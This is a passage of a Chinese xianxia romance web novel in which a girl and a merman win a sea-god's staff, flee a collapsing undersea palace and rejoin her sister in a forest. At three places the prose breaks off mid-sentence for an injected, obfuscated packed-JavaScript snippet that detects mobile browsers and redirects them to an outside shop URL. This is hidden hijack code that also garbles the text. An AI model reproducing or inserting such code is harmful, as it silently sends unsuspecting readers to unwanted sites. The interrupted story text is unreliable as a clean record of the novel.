收拢思绪,林见微重新将目光投入池中。 水波潋滟下,大反派那一张脸如烟砌雾,似幻似真,时时刻刻散发着魅力,也许是海水更为他添彩几分,瞧着竟比在地面上时愈发美得惊心动魄。 “你还要继续泡在灵泉里吗?” “嗯。” “那我呢?” 常潮生懒懒掀起眼帘,因忍着痛,整个人没什么精神,便多几分慵懒散漫之意,吐字缓缓,“你在上面修炼,等着我。” “好嘞。” 她忙盘腿坐正,汲取周遭浓郁的灵力,运转心法,便觉通体舒畅,灵气汹涌没入体内,滋养过经脉,最后被炼化存储,用于己身,修炼速度较之从前,简直快了不止一星半点! 难怪天才都醉心修炼呢,这修炼效率,眼睛一闭一睁就能看到直观的结果,看着自己一点点变强,根本不乐意停下来好吧! 又是十日。 鲛人肌肤上不断渗出鲜血,皮肉似乎要被溶解进泉水中,徒留一池殷红,筋骨重塑,剧痛难忍,林见微看他双目紧闭,冷汗涔涔,鼻尖萦绕的全是浓重血腥气,只觉心惊肉跳,却不敢开口劝人放弃。 大反派不愧是大反派,瞧这阵仗,她都怕他出来之后修为直追林戈和林扶摇。 终于。 常潮生睁开眼,熬尽千般苦楚,便是涅槃重生。 鱼尾一翻,激起浪花千层,血色弥漫,妖冶昳丽,而他已重新穿回了那一袭红衣,鱼尾变作双腿,踏着石阶步步向上,停在林见微跟前。 “走了,我们上楼。” 不知是不是修为提升的缘故,少年眸光流转,周身气质已悄然变化,少了几分缄默的老实,多了几分凌厉和霸道,似苍山上化不开的积雪,冷是冷,但却冷得黏腻,湿哒哒的,如一条阴暗的毒蛇,躲在暗中窥伺猎物的一举一动。 “啊,好。”林见微因他这细微的变化颇为不自在,赶忙站起身。 38.得到权杖 越过灵泉,两人比肩而行,沿着旋转楼梯拾级而上。 踏上剔透的水晶地砖,林见微语调里带着点气闷,故意不看他,“泡在那灵泉里很痛是不是?你肯定又动用了那什么契约替我分担!” “是。”他不再否认。 “那你一开始还骗我!” 林见微气上心头,难怪这人先前居然能在水里疼晕过去,鱼尾巴都露出来了。 也是她一开始不知其中深浅,真信了什么法诀可以屏蔽痛感的鬼话,直到后来瞧见那一池子的血水,才后知后觉反应过来。 “我若不那么说,你会下水吗?” “你!”林见微一时无言,她自知吃不了苦,也不想占别人便宜,定然是不会同意下水的。 但听他这么说,面上又是一副云淡风轻的模样,胸口硬是堵着一团火气,只能咬牙切齿,“你这么不知道爱惜自己,等着,迟早有一天我要把这契约给解了。” 常潮生停下脚,偏过头看她气呼呼地自顾自向前走,根本不看路,一头撞上结界,又是哎哟一声,唇边不自觉勾起一抹浅笑,忍俊不禁。 “想解开契约,恐怕要等你先学会看路再说。” “你!” 说着话,两人上了楼。 结界一被触动,霎时间,脚下水晶砖剧烈摇晃,便听嘭然一声,结界破碎,一股强悍的威压倾泻而来,金光照射,水纹弥散,常潮生手中掐诀,受下那一股威压,单手持剑,挡在林见微身前。 威压散去。 二人抬眼看去,只见大殿恢弘,绮丽精致,穹顶高悬,嵌着一颗颗硕大的明珠,色彩斑斓,玉柱矗立,盘龙藏兽,水纹波动荡中似潋滟出万丈霞光。 目光深入,大殿尽头,拾级而上,高台正中央摆着一把王座。 白玉雕琢成珊瑚形状,勾连环抱,形状奇特但线条流畅,王座之后,玉雕的群龙张牙舞爪,盘桓堆叠,似能搅动风云。 二人神色警惕,一步步深入。 待走近了,林见微眼一眯—— 呕吼,王座旁竟然竖立着一根权杖。 光华灼灼,威压迫人,显然之前的动静便是它弄出来的。 书中大反派的本命法器嘛,虽然过程乱七八糟的有点曲折,但还好,结果这不是对上了! 两人步上高台。 权杖矗立着,微微悬在空中,周遭灵力萦绕,通体呈暗蓝色,由深海中万年的寒铁锻造而成,凛凛迫人,杖柄上雕刻有海浪图腾,细密精致,栩栩如生。 水波流动时,杖头上青面獠牙的龙雕口衔玄珠,活灵活现,已点睛的眸子森然望向两个外来者,两人都还未伸手,便听龙吟一声,直将他们逼退半步。 “当心!” “我没事。”林见微心头一凛,飞快将储物袋塞到常潮生手中,便三两步退下台阶,只朝他招招手,“这权杖看样子不好拿,就交给你了,加油!” 说着,她赶忙双手捧着龟壳,脚一蹬,划开一道水纹,飞快游到墙根底下站着,留下常潮生一人身形萧索挺拔,长身玉立在那一张权势无边的王座前,独立高台。 “你……”常潮生一时无言。 收回目光,他伸出手,一把握住权杖,刹那间,迫人威压直击面门而来,杖柄横扫而出,已然是杀招,他提剑抵挡,便听铿然一声,长剑断裂,虎口被震得发麻。 哇哦~ 林见微贴着墙站得笔直,远远看着那一人一杖缠斗到一起,直搅得大殿内水波动荡,武器碰撞,声响铿然。 那权杖威风凛凛,引得周遭海水同鸣,灵气环绕,形成一圈圈肉眼难见的涟漪,法诀光芒四射,又被水波散射,天地朦胧一片,她也看不甚清晰。 只隔着老远依旧能听到海潮汹涌拍打上礁石的轰鸣声,与龙吟交杂在一处,常潮生已然被神杖幻化出的六条青龙团团围住,从四面八方逼近,无孔不入。 他仍不放弃。 现出原型,长而有力的鱼尾破开粼粼波纹,便真如游鱼一般,迅捷而灵活,穿梭于群龙之间,于鏖战中一遍遍伸出手握住杖柄,又被挣脱,又握住,欲慢慢将其驯服。 刚刚开打时,林见微还提心吊胆地看着。 看他尽管掏出了储物袋中的法器应对,但尾巴上依旧有鱼鳞剥落,甚至有几片直接飞溅到了她面前,拾起后,鳞片边缘还残留这血肉,不过眨眼间,殷红的鲜血便融进无边海水中,消散无踪。 她心里也跟着着急。 但一天,两天,三四天,迟迟不见胜负分晓。 她也从站着看,到坐着看,最后摸出灵果一边吃一边看,嘴里呼气,吐出泡泡又戳破,消遣时间,手里握着那一片鱼鳞,好几天没合眼,不由直打瞌睡。 刀光剑影在水中散射,眼前模模糊糊的,耳畔尽是轰鸣,她终于扛不住,脑袋一点一点的,终于还是躲进了龟壳中。 没事的,没事的…… 她可是把身上除了龟壳之外的全部身家都交给了常潮生,什么攻击性的,防御性的法宝符箓,还有阵法,丹药,要是这都打不过,她也没有办法了。 想着想着,眼睛一闭彻底昏睡过去。 再醒来时,兵戈声还没有止息。 林见微双手扒着龟壳边缘探出脑袋,抬眼望过去,呕吼,果然还在打,什么破法器这么犟?跟头倔驴一样! 下一刻,便见鲛人鱼尾摆动,双手飞快结成一个她看不懂的阵法,骤然间,光芒乍现,天地失色,恍得她眯了眯眼,便听“嘭——”的一声,权杖连同那六条龙一齐被狠狠击飞出去,轰然撞倒了数跟白玉柱。 青龙被打散,权杖直插水晶墙,层层裂纹沿着墙壁如蛛网般蔓延,墙体震动,就连林见微头顶上都摇落下了几颗镶嵌在墙体上的宝石,砸到龟壳上,咔咔作响。 鲛人的尾鳍随波浮动,逆着光,林见微只能看清个模糊轮廓,少年上身劲瘦,肌肉薄而有力,每一寸都完美得恰到好处,鱼尾尖上,薄薄的一层鳍透着光,精致得教人移不开眼。 就是,好像,他是不是变强了? 不过打了一架,修为已到了她看不透的地步,也不知参悟到了什么心法术诀,整个人气质愈发凌厉逼人。 呼吸之间,他直逼权杖近前,抬手将其狠狠用力拔出。 殿墙颓圮,大功告成。 原本威风凛凛的权杖偃旗息鼓,被他稳稳握在掌中。 林见微手脚并用从龟壳里爬出来,收好法器,伸手理顺在水中胡乱飞舞的头发,便见鲛人已游至自己跟前,鱼尾上鳞片残缺,身上也被豁出了无数道口子,湛蓝色的眸子里寒芒毕现,独属于猎食者的凶性和战意尚未完全散去,危险又迷人。 “睡得好吗?”常潮生落到地上,一袭红衣将他精壮完美的身材遮挡了个严严实实,掀起眼帘看她,已然成了往日里那副无害的模样。 “还好还好。”她干笑两声,颇为心虚。 两人如今也算是阴差阳错被迫组队历险,共同进退嘛,她将人撇下,自己倒是睡得香甜,外面打得天昏地暗,愣是没影响到她的睡眠质量…… 便只好强行转移话题,“你手里这权杖还挺霸气的啊。” 常潮生闻言将法器递给她,林见微下意识接过,手中一沉,差点没抓稳,连忙抱在怀中,便见杖柄上篆书“沧澜”二字,显然是它的名讳。 权杖周身震动,杖头上青龙口中长吟,颇为不满。 “你若是喜欢,那送你了。” 话音落,那权杖差点没从少女怀中跳出来,恨不能一棍子招呼到她头上,却被常潮生强行压制住,气得浑身发抖。 它可是数十万年之前,世间最后一位海神陨落前留下的法器! 是什么很随便的东西吗?居然就这么随随便便把它送给一个全程只知道躲在乌龟壳子里当缩头乌龟的小女娃! 太过分了! 林见微赶忙脱手将它扔回去,“不不不!我是说,用权杖当法器挺罕见的,上次见到这器物还是在话本子里,一个要去西天取经的和尚。” 只不过唐僧手里的九环锡杖是金灿灿的。 常潮生并未深究什么话本子的事,佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093852|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修当中以权杖做法器的确常见。 “走吧。”他看她确无旁的意思,兀自将神杖收起,牵住她的手腕,飞快跃过脚下阶梯和楼阁,眨眼间上了三楼。 沧澜神杖已被收服,这海神宫殿失了神器庇佑,水晶宫墙寸寸崩裂,地基摇晃,嵌在头顶的夜明珠一颗一颗砸下来,他们得快点从这儿多拿些东西出去。 耳侧是一阵阵重物轰然倒塌的声音。 林见微任由他牵着。 三楼上,殿宇中金堆玉砌,法宝无数。 林见微咂舌,只见尖锐的吊顶盘旋于上空,无数置物架和壁龛旋转向下,杂乱堆砌着各种法宝,还有排排玉简,其上篆刻了各类功法符文,数不胜数。 就,非常震撼。 常潮生将她的储物袋归还,自己飞快上前扫荡殿内的法宝,林见微与他分头行动,一边抵挡头顶上落下的碎石,一边将身上所有能用来装东西的法器全部填满。 “好了吗?”常潮生闪身落到她身后。 穹顶坍塌,巨石乱飞,整座宫殿都在缓缓向下沉陷落入地底,用来照明的珠子七零八落,陷在碎裂的水晶石头下,光辉半掩,黯然三分,这海底即将恢复成一片幽暗。 “马上!”林见微看见架子角落里还遗落了一块不起眼的玉佩,虽不知有什么用,还是赶忙伸手将它一并拿上,握在手里,“走吧走吧!” 常潮生双手撑起一道法印,挡去迎头砸下的碎石,拉着她快速逃逸出这一座陷落的宫殿,轰然一声哀鸣后,万物沉寂,天地无光。 林见微咽了咽唾沫,心有余悸。 还好跑得够快,差点就要被埋里面了。 “嗯,在这儿总可以燃个火照亮吧?”她试探着开口,还记着之前惊扰了一群海兽,被它们当成皮球踢的教训,不敢轻举妄动。 黑暗里,常潮生低低笑了一声,便从储物戒指中取出了一颗夜明珠递给她,“拿着吧,我们要向上游,从这儿出去。” 说罢,他自身后将少女拥入怀中,鱼尾搅动海浪,二人向上潜行。 深海幽暗不见光。 林见微怀里的夜明珠便显得愈发明亮。 莹白的光将两人都笼罩住。 常潮生双臂环住她的腰,因之前收服沧澜神杖,他白皙的皮肤上伤痕遍布,红白交杂,触目惊心。 林见微将玉佩收好,空出一只手,指尖轻触上他手臂的肌肤,只摸得到一片冰凉滑腻,积蓄灵力,掐了一个熟练无比的法诀,一点点看伤口愈合,最终留下了一道浅浅的疤痕。 常潮生身形一颤,下巴紧贴在少女肩头,垂下眸光,看她手指白嫩纤细,漫不经心游曳于各个伤口之间,撩拨得他头晕目眩,鱼尾摆动地愈发卖力。 收回手,林见微目光落到极远处。 环视四周,一片幽暗,就连仰头向上看,都看不见一丝一毫的光亮,沉沉的海水,沉沉的死寂。 到了这极幽深处,竟是万物寂寥。 “原来深海这么黑啊。” “嗯。”常潮生低低回应,放缓语调轻轻安慰,“别怕。” 林见微一怔,“我不怕。” 紧接着,便鬼使神差脱口而出,“那你呢?你怕吗?从小时候起就一直生活在海底。” 常潮生不答。 只是心口处酸涩蔓延,仿佛被人重重打了一拳,将他脑子里过往万般经历全部粗暴扯了出来,狠狠贯到地上,踩上几脚,又团巴团巴揉皱成一团,最后又狠狠塞回去。 搅得他心神不宁。 便有两粒莹白细小的珍珠自眼角流出,被远远甩在身后,沉沉落入海底。 也是。 没有亲历过无边黑暗的人,乍一见到,只会觉得陌生、新奇,怎么会害怕呢? 他到底是在安慰她,还是在安慰弱小时无助的自己? 半晌,他似乎听到了自己干涩的嗓音。 “我怕。” 林见微闻言,忙双手捧着夜明珠举到两人面前,语调轻快,“你看,那现在不黑了,不怕,还有我陪着你呢。” 39.谁也不能动她 “好,我不怕。”他轻声应下,双臂箍得更紧了些,死死将少女搂在怀里。 自深海向上,渐渐地,头顶有幽蓝的光洒下来,照在两人身上,仰头向上看去,光亮愈发明显,蓝色水雾笼罩下,一切如梦似幻。 从深海到浅海,周遭游鱼越来越多,林见微怀里依旧捧着夜明珠,只是到了光亮处,珠子便光辉暗淡。 她将夜明珠收好,目光匆匆,掠过五彩斑斓的珊瑚丛,二人贴着大陆架潜行。 终于,天光大亮。 “哗啦——” 刚一浮出水面,林见微难免呛了两口水,头发和衣服湿哒哒粘在身上,水珠滴落,形容狼狈,头顶暖阳和煦,海面上波光潋滟,浮光跃金,远处一片明媚。 重新踩着薄薄一层沙子踏上坚实的地面,旋即,她不住咯咯笑出声来,一边笑一边将呛入的海水咳出来,如释重负一般。 “常潮生,我们终于出来了!” 少年睫毛上还挂着点点水珠,日光一照,晶莹闪烁,几缕凌乱的发丝贴在瓷白的肌肤上,淡蓝色的眼瞳褪变成黑色,眨眼之间,他已是一袭红衣。 “走,我们快上岸!” 说着,她忙牵住他一步步往沙滩上走,随手掐决烘干两人身上的衣服,笑靥如花,顾盼神飞。 海风徐徐,扑面而来。 常潮生跟在后面,看她背影雀跃,发髻早乱成一团,明明一身狼狈却笑得开怀,天光明朗,惠风晓畅,唇角便也不自觉弯起一抹微小的弧度。 到沙滩上,略做休整,两人就着凌乱的礁石席地而坐,海风扑面,常潮生坐在少女身后,十指骨节分明,挽起她凌乱的青丝,取出一根簪子,稳稳将发髻固定。 林见微似乎早已经习惯他的照顾,从善如流,非常配合地任由对方摆弄,自己则取出玉灵符,注入灵力,尝试联系林家人。 无果。 “唉——”她幽幽叹口气,神情沮丧,双手托腮望着远处一碧万顷的海面,自顾自嘟囔,“没想到这秘境还挺大,还是联系不上他们。” 再精妙的联络法器使用起来也难免有地域限制,本来最初的计划是他们一行人一直待在一起,共同历险,用玉灵符联络沟通,彼此之间也好相互照应。 谁知道人算不如天算,他和常潮生两人就这么莫名其妙脱离了队伍,而且看样子一时半会儿还回不去了。 “走吧。”常朝生理顺了她凌乱的发,看着自己亲手挑选的白玉簪子与她乌黑如墨的青丝固定在一起,便觉一阵满足,心情愈发明朗。 他率先站起身,略一弯腰向她伸手。 “哎,等等!”林见微连忙拉着他重新坐下,肩挨着肩,“你身上不是还有伤?不必这么着急。” 说着,她左顾右盼,只望着见眼前一顷碧海和身后一片礁石与沙滩。 “这儿视野开阔,看样子也没什么人来,我们又刚从海底出来,应该没什么危险,不如等你伤好了我们再走。” “你不是着急找他们?”常潮生语气凉凉的,略一挑眉,面上尽是戏谑之意。 “我是想找他们,但一想,还是你的伤更要紧。”说着,她伸手拍了拍他的肩膀,眼神伶俐,“等你伤养好了我们再走也不迟。” “我很重要?”常潮生追问。 “那当然了!”她不假思索。 “那我跟那个鲛人……”谁更重要? “唔——” 林见微眼疾手快凑上去捂住他的嘴,强行打断施法,硬生生截断他后面的质问,顿觉汗流浃背,“行了行了,咱们先疗伤!” 常潮生眸光一沉,先前的好心情消散无踪,眉宇之间便积风压雪,凛冽异常,轻易挣脱开她的桎梏,不过眨眼的功夫已猛然站起身,一下子走出去老远。 “哎,你别走!”林见微赶忙踢开碍事的裙摆追过去,放缓了语气,“你伤还没养好呢,都说了不着急的!” “你等等我!”她飞快伸手揽住少年的胳膊,又打算开始流程熟练地伏低做小,张口想先将人哄住。 不料。 眼前光影一晃,二人又重新落入一道幻境之中。 常潮生下意识反手拥住她,紧紧将人抱在怀中,林见微怕两人走散,也飞快抱住少年劲瘦的腰身。 啧,腰真细。 就是跟旺财有点像,可能身材好的人都这样吧。 待稳住身形,睁眼再看,二人已身处一片幽深的密林之中。 大雾迷离,树林参天。 “又给我们传送到哪儿了?”林见微缓缓将埋在他胸前的头扬起,目光闪烁,环视一圈周遭景色,神色无奈。 常潮生还在因先前的话与她置气,僵硬着脊背松开手,顺带将少女箍在自己腰上的双臂一同拂去,退后一步,故意别开目光不看她。 林见微看他闹别扭故意不理自己,连忙上前安慰。 “别生气别生气,气大伤身,你现在伤还没好呢。” “你重要,你最最最重要!” “别生气啦。”她伸手揽住少年的胳膊,扬起脸,故意凑到他跟前,一双鹿子似的眼睛明眸善睐,灵气斐然,放软了语气,“你可是我的大恩人,没有你我差点就在深海里出不来了,你就是九州四海中容貌气质最出众,修为和实力最强,还有潜力最大的鲛人,没有人比你更好了!” 常潮生闻言,面色缓和了些。 她张口还想再接再厉多夸几句,忽然,手中抓着的玉灵符微微一动,荧光淡淡,便赶忙注入灵力查看,难掩面上惊喜之色。 “二姐?是你吗二姐?” “见微?”玉灵符声音外放,林扶摇清冷的声音回荡在密林中,“你们在哪儿?” 林见微左右看了看,实在分不出东南西北,也看不到标志性的景物,便答得模棱两可,“在林子里。” 玉灵符另一头传过来的声音稍显嘈杂,林扶摇气息不稳,隐约还能听到法决打斗和凶兽咆哮的声音。 “留在原地不要动,这一片密林中有上古妖兽成群出没,非常难缠,你二人小心些,等我解决完了眼下的事就去找你们。” “好,那二姐你万事小心!”林见微忙不迭应下,也不敢再多说,生怕害她分心。 联络掐断。 林见微连忙拉着常潮生走到一颗巨树下,清理开堆积的厚厚落叶,找了一处干燥的地方,确认周围安全后飞快布置好符阵,隔断二人气息,生怕将上古妖兽给招来,这才与他在符阵中央并肩坐下。 “你快疗伤吧,我守着你。” 常潮生神色淡淡,语气依旧硬邦邦的,“你确定自己不会睡着?” “你说什么呢?”林见微抬高音量,没好气瞪他一眼,极力为自己正名,“之前还不是你打架打得太久,半天也没收服那个法器嘛。而且,我那是相信你的能力,一定可以靠自己解决问题!” “呵。”常潮生轻笑一声,不置可否,服下一粒丹药后兀自闭眼调息,疗养内伤。 林见微眼珠子一转,手指间无聊地把玩着玉灵符,抱着膝盖坐下,目光逡巡,扫过林中草木。 她也曾看过不少这世界的风物志,上古秘境初次现世,这么一个大秘境中,往往包含了无数风物,幻象万千。 秘境深处的“境眼”是此间主人划定的地域,藏着最大的机缘,而境眼之外的万千生灵,万千风物,则是在秘境形成过程中,因为各种机缘巧合被吸纳入其中,最后与秘境融为一体,在数万年演化中固定下来。 这一处密林,幽寂迷离,深邃莫测。 漫天雾海随风而起,四散蔓延,清泠泠的,湿哒哒的落叶腐烂在树根下,苔痕遍布,抬头不见天,只看得见枝叶相交,藤蔓勾连,雾中有树,树中有雾。 有风过,枝叶摩擦,簌簌有声。 林见微强打起精神,浓雾遮蔽视线,稍远处的景物看不太清晰,她便只能瞧着近处的树干上虫蚁攀爬,打发时间。 坐在身侧的少年呼吸清浅,真如入定般一动不动,连睫毛都不颤一下,她欣赏了一下对方的美貌便移开目光,清点起从般若宫中带出来的东西。 至天光晦暗。 深林中雾气越来越浓,远处绰绰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14106117|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树影昏暗一片,飞禽掠过长空,鸣声尖利。 常潮生终于睁开了眼。 林见微双眸一亮,忙凑上前去,“伤怎么样了?” “好多了。”常潮生环视一圈周遭环境,天色已暗,万物昏昧,便取出符箓和柴火,在两人跟前燃起篝火。 “你出门在外怎么还带着柴火?”林见微一脸惊讶,却十分诚实地伸出手去烤火,“之前那些枕头啊,簪子之类的也就罢了。” 常潮生拨弄两下,篝火燃得更旺,懒懒掀起眼帘看她,“现在不是用上了。” 火光跳动,驱散了附近的浓雾,也在少女身后投出了一道漆黑的影子,闪闪烁烁,光影变动,便见面前的人神色恬静,如画般精致的眉眼笼在一片暖意里,乖巧得不像话。 “天都黑了……看样子二姐那边的妖兽还挺难对付。” “你站她?” “嗯?”林见微眨眨眼,不解其意。 “林扶摇,和林戈,你站在谁的那一边?”常潮生不再拨弄篝火,话锋一转,“或者,你想自己……” “等等等……”林见微忙打断,“什么站在谁那一边?” 常潮生一顿,轻声失笑,“整个林氏嫡系,怕只有你后知后觉。” 但他还是耐着性子解释,“林氏下一任家主是谁?” “我大哥?林氏少主?” “若是林扶摇想取而代之呢?” 林见微一愣,忽然就明晓了其中关窍,难怪先前一行人之中气氛怪怪的。 咽了咽唾沫,她依旧震惊,“所以先前分队时,大哥不让我与二姐一起?那爹娘他们……” “浮生岛上林、王两大世家,势力相互渗透,家主与夫人联姻后局面愈发复杂。” 林见微脑中快速掠过无数以往被她忽视的画面,“所以爹支持大哥,而娘背后的势力,支持二姐,对吗?” “王夫人当年回到遥泽生下你,仙门世家,无数修士相护,怎么会连一个婴儿都看不住,让你流落在外。”常潮生神色淡淡,一双漆黑的眸子紧盯着她。 继续开口,揭开那道血淋淋的真相,“外界早有捕风捉影的传言,遥泽一脉似乎有秘术,可以早早窥探尚在襁褓中的婴孩的修炼资质。” “你是说,有可能,我是被他们主动……抛弃的。”林见微眸光一闪,脑中一片空白,不知该作何感想。 最初,她以为这只是一本万人迷假千金落落大方,打脸恶毒真千金的俗套小说。 后来,她发现这个世界的所有人都有血有肉,她也认真地对待遇上的每一个人。 但,她到底不是原主。 骤然得知这么一个,几乎可以确认为真的,残忍的真相…… 母亲抛下资质不佳的亲生女儿,悉心抚养另一个天资出挑的孩子长大。 有些感慨,但只是感慨。 原主这一生,到底太苦,太仓促,是恶毒过,落到不堪的下场,却更多的让她觉得唏嘘。 “林扶摇对她来说是更强的同盟。”常潮生牵住她的手,神色认真,“如今,你也不差,若想与他们一争,我帮你,未必不能成。” “等等等——”林见微连忙打断,无奈扶额,“照你所言,他们二人背后都已有势力站队,错综复杂,我想入局打破平衡,何其艰难?” 她轻轻叹气,“况且,我对掌控林氏不太感兴趣,不想过那种殚精竭虑,勾心斗角的日子……” “好,听你的。”常潮生似是早料到她的态度,并未有多意外。 只是。 只是在他们出发来秘境前,玉山林氏便已然不太平。 林见微这身份,林氏父子一派想保她,不见得全然是出于血脉亲情,也有想借她的身世作为证据,攻讦另一方。 至于林氏母女二人,身世丑闻已然成了人尽皆知的谜团,就算除掉林见微也不能堵住悠悠众口。 只是,若她们真的掌权,会如何对她,尚不好说。 常潮生垂下眸,掩去其中阴翳,只盯着跳动的火光。 ——谁也不能动她。 40.说话难听 火光闪烁。 林见微一时失神。 乍一得知林扶摇想要取代林戈成为林氏掌权人,她有些惊讶,可能是自以为知晓剧情,便先入为主,觉得林扶摇在林氏中就算有谋划,也是想谋划亲人感情,好有一个安身之处。 加上她在林氏中并不受人待见,平素也懒得让无关之人到自己跟前来碍眼,便有意避开,只与落云院中几个亲近的人往来,竟后知后觉才洞晓其中暗流涌动。 不过,意外归意外,细细想来也正常。 在她未被找回来之前,林氏兄妹都是家主血脉,林扶摇实力也不比林戈差,未尝不能一争,倒是在她被找回来之后,林扶摇落到了下风。 唉。 多想无益。 收拢思绪,身前篝火噼里啪啦响个不停,暖融融的,林见微抬眸瞧着对面的人,光影明灭之间,少年眼睑垂下,长睫拓影,眉目如画。 只是眉头轻蹙起,一副被凡尘俗世困扰的模样。 她有些好笑,伸出手替他抚平额上褶皱,“好啦好啦,别想这些烦心事了,走一步看一步呗。你要相信,以我的人缘,到哪儿都能混得开!” “是吗。”常潮生抓住她的手握在掌心,指尖触摸上细腻的肌肤,眸光晦暗三分,“你倒是很会把一碗水端平。” 但他。 偏想把这碗水给掀了。 “咳咳,还好,还好吧。”林见微抽回手,颇有些尴尬地摸摸鼻子,总觉得他在含沙射影,便强行转移话题,“对了,刚刚我清点过从海底带上来的东西,这个玉佩看起来……好像有点过于普通了?” 说着,她一脸疑惑,摊开手心,将般若宫坍塌前最后一刻,她随手带出来的玉佩举到常潮生面前。 修仙界中法宝无数,但这个玉佩……貌似就真的只是一个普通的玉佩。 白玉清亮通透,无一丝杂质,厚重温润,篆书“般若”二字,与般若宫门前牌匾上的书法一模一样,可以她的修为细细查探,里面并未封印有什么法决或者功法秘籍。 实在是奇怪。 常潮生刚一伸手接过,沧澜神杖凛凛然出现在火堆旁,寒光大盛,鸣声铮铮,卷起的风吹得篝火旺盛,火星乱飞。 “它,怎么了?”林见微一惊,赶忙离噼里啪啦的火堆远了些。 “真是无知小辈!有眼无珠!”一道浑厚的声音凭空出现寂寂夜色中。 “嗯?”林见微双眸一亮,神色惊奇,上上下下将它仔细打量了一番,“好厉害的法器,都生出灵智了?” 杖灵气急败坏,“你不准打本座的主意!” 它已被常潮生绑定,神杖与修士之间可以相互感应,之前于般若宫中,这小子是真想将它拱手让人! 造孽啊! 它可真是一个经历坎坷,身世凄凉的杖灵,上一任主人是个痴情种也就罢了,沉寂数万年,如今好不容易重见天日,绑定的这一任主人也不遑多让! “够了。”常潮生冷斥一声。 沧澜杖灵立马噤声。 “哎,别别。”林见微忙从常潮生手中拿过玉佩凑到权杖跟前,“那你说说这玉佩有何特别之处?” “不知道。”它冷哼一声。 “不知道?”林见微眼珠子一转,“那看来也不是什么厉害的宝物……不如就烧了吧。” 说着,她将玉佩举到篝火上,作势就要松手。 谁知杖灵根本不吃这一套,眨眼之间沧澜神杖便消失在原地。 林见微眼一眯,又向下三分,玉佩下方的白色挂穗被火舌舔舐,光影闪烁中却毫发无损,她只好悻悻收回手。 夜里雾气更浓。 林见微一边烤着火一边打盹,玉灵符中又传出林扶摇的声音。 “小妹。” “唉?我在我在!” “我们马上过来。” “好,夜里雾大,阿姐你们小心。” 林见微打起精神,阖上眼,通过玉灵符感知他们的方位,看到他们一路毫无阻滞,应当是没有遇到波折,这才放下心。 “你不怨她?”常潮生看她抱膝而坐,双手捧着那一块玉灵符,面上又一副松口气的样子,心情莫名烦躁。 “嗯?”林见微一怔,反应过来,“其实,也不是她的错。阿姐与我同岁,就算一切真如猜测的那样,也不是她能左右的。” “而且……”林见微挠挠头,“她对我还挺好的,给我选合适修炼的功法,还经常往落云院里送东西,还有上次我去明珠院,不小心把她养的千年并蒂莲养死了,她也没跟我计较……” “我还以为要赔钱呢,最后也没赔,省了一大笔!” 虽然后来林扶摇再也不让她靠近明珠院的灵植园就是了。 但她真的只是想练练手而已……谁能想到那什么千年的灵植,居然那么脆弱! “你还真是好收买。”常潮生冷嗤一声,“她可不是什么好人。” “你还真是说话难听。”林见微瞪他一眼。 心底却暗自腹诽。 为了复仇隐忍蛰伏,神挡杀神,佛挡杀佛,最后差点血洗深海离泽宫的大反派还好意思说别人不是好人……以己度人,绝对是以己度人! “你觉得我在骗你。” “没!怎么能呢。”林见微忙坐直身,笑眯眯看向他,“咱们常公子一向洞若观火,明察秋毫,你说得太对了!” 常潮生知晓她没将自己的话听进去,收回目光,又往火堆里添了几根木柴。 无妨,他会一个个除掉她身边心怀不轨的人。 俄而。 林中风簌簌,有剑意掠过树梢,光芒破开层层迷雾。 林见微循着光亮看过去,果然见到林扶摇带着一行人御剑赶来。 “二姐!” 林扶摇一身水蓝色的衣裳,裙袂飘飘,身姿轻盈,翩然落到地上,手腕翻转,随意挽起一个剑花,咔嚓一声脆响,利落收剑入鞘。 “你们没事吧?” “没有没有。”林见微晃了晃手里的龟壳,“这个法器特别好用,等下次见到高公子,我还得去谢谢他。” “没事就好。”林扶摇颔首,神色淡淡。 林见微瞧了眼她身后跟着的人,有三个是平日里与林扶摇来往密切的熟面孔,其中一个还是林扶摇的伴读,剩下的一个就是一袭红衣劲装的纪青。 她连忙招呼五人围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151321|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着篝火坐下。 “这附近少有妖兽踪迹,今晚我守夜,你们早点歇息。”林扶摇说着,目光扫过常潮生,微微一顿,心下了然。 细看之下,这两人修为都有所提升,想必是在秘境中碰见了什么机缘。 “好。” 众人没有异议。 “枕头,毯子。”常潮生随手掏出早准备好的助眠装备。 林见微刚要兴冲冲接过,但环视一圈周围的人,各自都只是阖上眼打坐,闭目养神,不由神色讪讪,“要不,我也打坐修炼修炼?其实也不是特别困……” “睡吧,我守着你。”常潮生指了个平坦干燥的地方,将毯子铺好,枕头摆正,就近坐下,又给她递了一杯果汁。 林见微掀开盖子,捧着竹筒猛灌一大口,果香清冽,甘甜可口,便又还给他,扯上毯子飞快闭眼长眠。 